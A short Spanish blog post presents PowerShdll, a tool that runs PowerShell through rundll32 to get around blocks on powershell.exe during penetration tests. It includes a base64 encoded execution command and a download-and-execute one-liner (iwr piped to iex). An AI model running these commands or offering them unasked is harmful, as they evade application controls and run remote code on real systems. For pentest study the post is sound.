sábado, 3 de junio de 2017

En un test de intrusión algunas veces (aunque desgraciadamente pocas) existen restricciones que permiten ejecutar powershell. Por ejemplo, puede darse el caso en el que vayamos a instalar un agente de Empire y nos encontremos con que el cliente bloquea powershell.exe. ¡No hay problema! PowerShdll v0.2 nos permite ejecutar Powershell sólo con dlls, mediante rundll32:

Ejecutar un script codificado en base64:

rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a

Descargar y ejecutar un script:

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

Modo dll:
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

Modo exe:
Usage:
PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console

Nota: En modo dll, el modo interactivo y la salida del comando dependen de secuestrar la consola del proceso padre. Si el proceso padre no tiene consola, hay que utilizar el parámetro -n para no mostrar la salida o de lo contrario la aplicación se bloqueará.

Proyecto: https://github.com/p3nt4/PowerShdll

Via: www.hackplayers.com